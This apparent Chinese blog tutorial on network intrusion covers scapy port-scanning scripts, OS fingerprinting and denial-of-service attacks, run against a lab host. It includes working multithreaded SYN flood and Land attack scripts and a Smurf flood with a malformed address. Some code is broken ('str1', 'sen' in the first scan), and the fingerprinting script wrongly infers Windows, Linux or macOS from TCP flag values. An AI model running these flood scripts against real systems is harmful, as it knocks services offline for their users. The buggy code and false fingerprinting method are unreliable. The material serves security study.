入侵方法和手段
网络入侵#
网络入侵:具有熟练的编写和调试计算机程序的技巧使用这些技巧来获取非法或未授权的网络和文件访问,入侵进入公司内部网络的行为。
网络入侵的一般流程#
- 确定目标
- 信息收集
- 漏洞挖掘
- 实施攻击
- 留下后门
- 清楚日志
典型网络入侵方法分析#
- 口令破解
- 漏洞攻击
- 特洛伊木马攻击
- 拒绝服务攻击
- IP地址欺骗
- 网络监听
- 病毒攻击
- 社会工程攻击等
主机渗透方法简析
- 口令破解
- 漏洞攻击
- 特洛伊木马攻击
网络攻击方法简析
- 拒绝服务攻击
- IP地址欺骗
- 网络监听
其他攻击
- 病毒攻击
- 社会工程攻击
漏洞扫描器#
扫描器分为端口扫描器,漏洞扫描器。
端口扫描#
-
TCP Connect扫描
TCP Connect扫描是一种最简单的端口扫描方式之一,使用套接系统中的connect方法,如果返回成功则说明该端口开放。该扫描的作用:快速确定一个目标主机那些端口是开放的。当攻击者得知目标主机那些端口开放时,可以估计开放了那些服务,进而分析存在那些漏洞。
from scapy.all import * # 定义目标主机IP地址和扫描端口 target_IP = "localhost" port_list=[80, 443, 8080] # 循环遍历所有端口 for port in port_list: tcp_connect_scan_packet = str1(IP(dst=target_IP)/TCP(dport=port, flags='S'), timeout=1, verbose=0) if tcp_connect_scan_packet is not None: # 获取TCP标志位 tcp_connect_scan_resp = tcp_connect_scan_packet.getlayer(TCP) # 判断响应包是否是SYN-ACK包 if tcp_connect_scan_resp.flags == 0x12: print(f"端口:{port} 是开放的") # 发送RST关闭连接 sen(IP(dst=target_IP)/TCP(dport=port, flags='R'), verbose=0) else: # 端口关闭 print(f"端口:{port} 是关闭的")
返回:
WARNING: No IPv4 address found on en0 ! WARNING: No IPv4 address found on p2p0 ! WARNING: more No IPv4 address found on awdl0 ! 端口:443 是关闭的 端口:8080 是关闭的
在上面的代码中,构建一个TCP Connect扫描包发送给目的主机,如果目标主机响应了这个包,检查其响应的TCP标志位,判断端口是否开放。如果开放则发送RST包关闭连接,否者,我们认为端口关闭或被过滤,并打印相应的信息。
-
TCP SYN扫描
该方法并没有建立一个完整的TCP链接,其过程是发送一个SYN分组,如果收到目标端口的SYN/ACK分组,则判断出该端口处于监听状态。如果收到RSE/ACK分组,则说明该端口不在监听状态。这种扫描的优势在于由于创建了一个半TCP连接,所以不会被系统日志记录。
from scapy.all import * # 定义目标IP和端口 target_ip = "localhost" port_list=[8080, 443] for port in port_list: # 构造TCP SYN 数据包 packet = IP(dst=target_ip)/TCP(sport=RandShort(), dport=port, flags='S') # 发送数据包并等待响应 response = sr1(packet, timeout=1, verbose=0) # 判断是否接受到响应 if response is not None: if response.haslayer(TCP) and response.getlayer(TCP).flags & 0x12: # 标志位:SYN-ACK print(f"端口:{port} 是开放的") elif response.haslayer(TCP) and response.getlayer(TCP).flags & 0x14: # 标志位:RST-ACK print(f"端口:{port} 是关闭的") else: print(f"端口: {port} 被过滤掉") else: print(f"端口:{port} 被过滤掉")
WARNING: No IPv4 address found on en0 ! WARNING: No IPv4 address found on p2p0 ! WARNING: more No IPv4 address found on awdl0 ! 端口:8080 是开放的 端口:443 是开放的
-
TCP FIN扫描
直接往目标主机的端口上发送FIN分组。当一个FIN分组到达一个关闭的端口,数据包就会被丢掉,并且返回一个RST分组,否者,当一个FIN分组到达一个打开的端口,分组只是简单的被丢掉。
-
TCP Xmas树扫描
由于TCP Xmas扫描不包含标准的TCP三次握手协议的任何步骤,所以无法被记录下来,从而比SYN扫描隐藏很多。该扫描向目标端口发送一个FIN,URG和PUSH分组,目标系统给所有关闭的端口发送一个RST分组
-
TCP 空扫描
过程:
- 构造一个没有任何标志位的TCP数据包
- 将该数据包发送到目的主机的指定端口
- 如果只收到了RST数据响应包,则说明该端口处于关闭状态,否者,无法准确判断该端口的状态。
优点:
- 隐藏性好:由于是没有任何标志位的扫描,则不会给目标主机和网络设备留下太多信息,具有较好的隐蔽性。
- 误报率低:TCP空扫描对目标的干扰小,所以误报率低。
- 可以绕过某些防护措施:有些安全设备可能会禁止IP和端口扫描操作,但是这些操作往往不会阻止TCP空扫描操作。
缺点:
- 无法扫描开放端口:因为TCP空扫描只会检测主机关闭的端口,无法检测开放或过滤的端口。
- 不可靠:由于 TCP 空扫描只发送一个没有任何标志位的TCP数据包,如果这个数据包在传输过程中丢失或被过滤掉了,就无法得知该端口的状态。
- 容易被防护措施检测:虽然TCP空扫描的隐蔽性较好,但是一些IDS/IPS等安全设备可以通过监视网络流量来检测到该操作。
-
TCP ACK扫描
构造特定的TCP ACK数据包来检测目标主机的端口是否处于关闭状态。其原理是:在TCP三次握手中,如果答应放收到ACK报文,说明请求方收到SYN+ACK报文已经被正确接受了。否者没收到请求方SYN+ACK报文,而直接收到一个ACK报文,则代表目标主机的该端口处于关闭状态。
过程:
- 构造一个只有ACK标志置位的TCP数据包。
- 将该数据包发送到目标主机上的指定端口。
- 如果该端口处于关闭状态,则目标主机将发送一个RST数据包作为应答;否则,目标主机不会发送任何数据包。
优点:
- 隐藏性好:TCP ACK扫描使用对目标主机和网络设备干扰较小的TCP数据包进行扫描,具有较好的隐蔽性。
- 可靠性高:只要得到了应答,就可以准确地确定该端口是否处于关闭状态。
- 可以绕过一些防护措施:比如有些安全设备可能会禁止IP和端口扫描操作,但这些设备往往不会阻止TCP ACK扫描操作。
缺点:
- 无法扫描开放端口:TCP ACK扫描只能检测目标主机上关闭的端口,无法检测开放或过滤的端口。
- 显著影响存活主机的性能:TCP ACK扫描将发送大量TCP数据包到目标主机上,可能会对目标主机造成一定压力。
- 容易被防护措施检测到:虽然TCP ACK扫描的隐蔽性较好,但是在某些情况下安全设备也可以通过监视网络流量来检测到该操作。
-
UDP扫描
过程:
- 创建一个发送器和一个接收器,用于发送UDP并监听响应。
- 遍历所有目标主机的端口范围,逐个发送UDP数据包
- 等待一段时间,如果没有响应则认为该端口关闭;反之则认为开放。
优点:速度快,开销小,可以轻易的绕过一些基于TCP的防火墙和IDS系统的检测。
缺点:UDP不支持链接,因此无法直接确定目标主机是否真正响应,同时也很难确定响应所代表的意义。
from scapy.all import * ip = "localhost" port_list=[8080,443] for port in port_list: pkt = IP(dst=ip)/UDP(dport=port) res = sr1(pkt, timeout=2, verbose=0) if res is not None: print(f"端口:{port} 是开放的") else: print(f"端口:{port} 是关闭的")
WARNING: No IPv4 address found on en0 ! WARNING: No IPv4 address found on p2p0 ! WARNING: more No IPv4 address found on awdl0 ! 端口:8080 是开放的 端口:443 是开放的
OS Fingerprint技术#
很多漏洞与系统相关,所以操作系统指纹探测成为攻击者攻击的重要一环。常见的方法有如下:
- 一些端口服务的提示信息,例如:137,138,139,445,445,80等端口的提示信息
- TCP/IP栈指纹
- DNS泄露出OS系统等
- 堆栈查询技术:通过不通主机对TCP/IP堆栈对不同请求的响应来探测系统。
下面使用scapy探测目标主机的系统:
from scapy.all import *
# 处理收到的数据包
def packet_callback(packet):
if packet[TCP].flags == 18:
print("目标主机为windows")
elif packet[TCP].flags == 2:
print("目标主机为linux")
elif packet[TCP].flags == 20:
print("目标主机为macos")
else:
print("目标主机系统未知")
ip = "localhost"
port = 80
syn_packet = IP(dst=ip)/TCP(dport=port, flags='S')
response_packet=sr1(syn_packet)
# 处理响应包
if response_packet:
packet_callback(response_packet)
else:
print("目标主机系统未知")
WARNING: No IPv4 address found on en0 !
WARNING: No IPv4 address found on p2p0 !
WARNING: more No IPv4 address found on awdl0 !
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
目标主机为macos
拒绝服务攻击#
拒绝服务攻击的主要目的是使攻击的网络或服务器不能提供正常的服务。
拒绝服务攻击的原理#
拒绝服务攻击是利用合理的服务请求来占用过多的服务资源,使得服务过载,无法响应正常的服务。
典型拒绝服务攻击的手段#
-
SYN湮灭
原理:利用TCP协议中的三次握手机制中的漏洞,发送大量伪造的SYN链接请求到受害服务器,占用大量的服务器资源,导致正常流量无法被处理。
过程:
- 服务器向服务器发送大量伪造的SYN连接请求。
- 服务器接收到伪造SYN请求后,向攻击者回应SYN-ACK包,并等待ACK确认包。
- 攻击者不回发ACK包,也不断开连接,这样服务器会一直处于等待状态,直到超时,使得其他合法用户无法访问服务。
优点:
- 实施简单
- 可以占用服务器资源,导致服务器崩溃,使真正的合法用户无法正常访问。
缺点:
- 可能会耗尽攻击者自身的网络资源,限制了其攻击的范围和攻击效果。
- 只能对TCP协议的服务进行攻击,而UDP等协议不受影响。
- 现代的服务器系统和防护设备可以通过多种手段进行攻击检测和过滤,大大降低了攻击效果。
实验:
nmap -p 0-6000 localhost
先正常访问一下我们的metasploitable靶场的web服务,并通过wireshark抓包看看流量。
然后我们查看一下靶场环境的SYN链接情况:
netstat -n |grep SYN_RECV
现在,我们没有任何SYN链接,所以没有任何显示,我们使用scapy事实syn攻击
from scapy.all import * from time import sleep from concurrent.futures import ThreadPoolExecutor, as_completed import threading import random def syn_flood(target, port): while 1: rand = random.randint(0, 65535) send(IP(dst=target)/TCP(dport=port,sport=rand), verbose=0) def attack(): target="10.211.55.4" port = 80 print(f"---------------攻击开始-------------------") with ThreadPoolExecutor(max_workers=100) as pool: tasks =[] for i in range(100): task = pool.submit(syn_flood,target, port) tasks.append(task) for task in as_completed(tasks): print(f"{task} 完成") if __name__ == "__main__": attack()
在靶场上:
tcp 0 0 10.211.55.4:80 10.211.55.2:18969 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:3142 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:53440 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:38200 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:58481 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:29506 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:46351 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:16203 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:49454 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:14102 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:45785 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:58879 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:32097 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:31950 SYN_RECV - tcp 0 0 10.211.55.4:80 10.211.55.2:2559 SYN_RECV -
wireshark抓包可以得到:
当然,因为我们现在使用的是单个pc进行攻击靶场,所以,该靶场的服务资源并没有被消耗光。使用web服务依旧能反应。整个SYN Doss攻击流程大概就是如此。
-
Land攻击
原理:使用伪造的源IP和目标IP地址构造恶意的TCP SYN 数据包,并将这些TCP连接保持在半开放的状态。由于每个半开放状态的链接都会消耗目标系统的资源,当这些半开放状态累计到一定程度时,目标主机的资源就会耗尽。
过程:
- 攻击者通过伪造源IP和目标IP创建一个TCP请求,将SYN和ACK都设置为1
- 目标主机接收到请求后,尝试向攻击者发送确认包,由于无法判断该请求是否合法,所以目标主机会一直等待。
- 由于攻击者未发送确认包,连接将一直处于半开放状态。
优点:易操作
缺点:容易被阻断,易被追踪
实验:
from scapy.all import * import random from concurrent.futures import ThreadPoolExecutor, as_completed def land_flood(): while True: sport = random.randint(10000, 30000) pkg = IP(src="10.211.55.4", dst="10.211.55.4")/TCP(sport=sport, dport=80, flags="S") send(pkg, verbose=0) def attack(): with ThreadPoolExecutor(max_workers=100) as pool: tasks = [] for i in range(1000): task = pool.submit(land_flood) tasks.append(task) if __name__ == "__main__": attack()
然后,我们使用wireshark抓包发现,全是10.211.55.4的各种端口向80端口发送SYN包
-
Smurf攻击
原理:向一个广播地址发送大量ICMP Echo Request数据包。这些数据包的源IP被篡改为目标主机的IP,因此网络中所有的目标系统会返回ICMP Echo Reply数据包。由于每个回复的数据包都会消耗目标系统的资源,目标主机会被耗尽资源。
过程:
- 攻击者向一个网络的广播地址发送大量ICMP Echo Request数据包,数据包的源IP已经被修改为目标主机IP
- 网络中所有的设备都会接收到这些数据包并向目标系统返回ICMP Echo Reply数据包。
- 大量的ICMP Echo Reply数据包涌入目标系统,消耗目标系统的大量网络带宽和处理资源,导致目标系统无法提供正常服务。
优点:可以通过少量主机实现对目标主机的攻击。smurf攻击很难被追踪和检测
缺点:成功率低
实验:
from scapy.all import * import random from concurrent.futures import ThreadPoolExecutor, as_completed def smurf_flood(): while True: payload = "hello world" pkg = IP(src="10,211,55,4",dst="255.255.255.255")/ICMP()/payload send(pkg, verbose=0) def attack(): with ThreadPoolExecutor(max_workers=100) as pool: tasks = [] for i in range(1000): task = pool.submit(smurf_flood) tasks.append(task) if __name__ == "__main__": attack()
-
Teardrop
原理:向目标系统发送片段化的IP数据包,这些数据包的偏移量有重叠,导致目标主机收到后无法正常组装。从而导致系统崩溃。
过程:
- 攻击者向目标系统发送片段化的IP数据包,这些数据包拥有相同的标识符和序列号
- 攻击者修改这些数据包的偏移量,使他们部分重叠
- 目标系统收到并尝试组装这些数据包,在解析重叠片段时产生错误,导致系统崩溃。
优点:使用少量计算机实现攻击,攻击方法简单,很难被发现和防范
缺点:只能对古老计算机有用
实验:
-
ping of death
原理:使用ping命令发送异常数据攻击目标系统。
分布式拒绝服务攻击#
被DDOS攻击的现象:
- 被攻击主机有大量等待的TCP连接
- 网络中有大量无用数据包,源地址为假IP地址
- 制造高流量无用数据,造成网络阻塞,使得受害主机无法正常和外界通信。
- 利用受害主机提供的服务或传输协议上的缺陷,反复高速地发出特定的服务请求,使受害主机无法及时处理所有正常请求。
作者:ALINGMAOMAO
出处:https://www.cnblogs.com/ALINGMAOMAO/p/17397011.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· NetPad:一个.NET开源、跨平台的C#编辑器
· PowerShell开发游戏 · 打蜜蜂
· 凌晨三点救火实录:Java内存泄漏的七个神坑,你至少踩过三个!